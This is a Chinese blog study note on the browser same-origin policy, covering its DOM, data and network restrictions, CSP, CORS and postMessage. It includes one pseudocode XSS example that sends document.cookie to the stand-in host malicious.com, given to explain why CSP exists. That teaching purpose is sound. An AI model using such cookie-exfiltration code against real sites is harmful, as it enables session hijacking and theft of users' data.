浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?

Posted 凯小默

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?相关的知识,希望对你有一定的参考价值。

说明

浏览器工作原理与实践专栏学习笔记

前言

浏览器安全可以分为三大块:

  1. Web 页面安全
  2. 浏览器网络安全
  3. 浏览器系统安全

Web 页面中最基础、最核心的安全策略:同源策略(Same-origin policy)

什么是同源策略

同源

如果两个 URL 的协议、域名和端口都相同,就称这两个 URL 同源

同源策略

浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,把这称为同源策略

三个层面

第一:DOM 层面

同源策略限制了来自不同源的 javascript 脚本对当前 DOM 对象读和写的操作。

举个例子:

比如,我们从 csdn 的首页 https://blog.csdn.net/kaimo313?type=blog 的控制台打开作者排名的页面 https://blog.csdn.net/rank/list/total?spm=1001.2014.3001.5476

window.open('https://blog.csdn.net/rank/list/total?spm=1001.2014.3001.5476')

在这里插入图片描述

在博客排行榜页面的控制台输入:

window.opener.document.body.style.display = 'none'

在这里插入图片描述

最后我们会发现:首页的内容被隐藏起来了。

在这里插入图片描述

因为这个两个页面是同源的。

如果在首页打开的是其他的不同源的页面,比如: vue 官网 https://cn.vuejs.org/

在这里插入图片描述

然后在vue官网页面的控制台输入:

window.opener.document.body.style.display = 'none'

在这里插入图片描述

我们会发现报错:Uncaught DOMException: Blocked a frame with origin "https://cn.vuejs.org" from accessing a cross-origin frame.

第二:数据层面

同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。

由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。

第三:网络层面

同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。

安全和便利性的权衡

1. 页面中可以嵌入第三方资源

最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 html 文件中插入恶意脚本。

比如:当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:

function onClick(){
  let url = `http://malicious.com?cookie = ${document.cookie}`
  open(url)
}
onClick()

这是一个非常典型的 XSS 攻击。

为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。

CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。

关于CSP可以参考我之前转载阮一峰大佬的文章:Content Security Policy 入门教程

2. 跨域资源共享和跨文档消息机制

跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

跨文档消息机制,可以通过 window.postMessageJavaScript 接口来和不同源的 DOM 进行通信。

以上是关于浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?的主要内容,如果未能解决你的问题,请参考以下文章

解决Ajax 跨域问题 - JSONP原理解析

JavaScript 九种跨域方式实现原理

几种常见的跨域原理的实现

同源策略与JSONP劫持原理

九种跨域方式实现原理

九种跨域方式实现原理(完整版)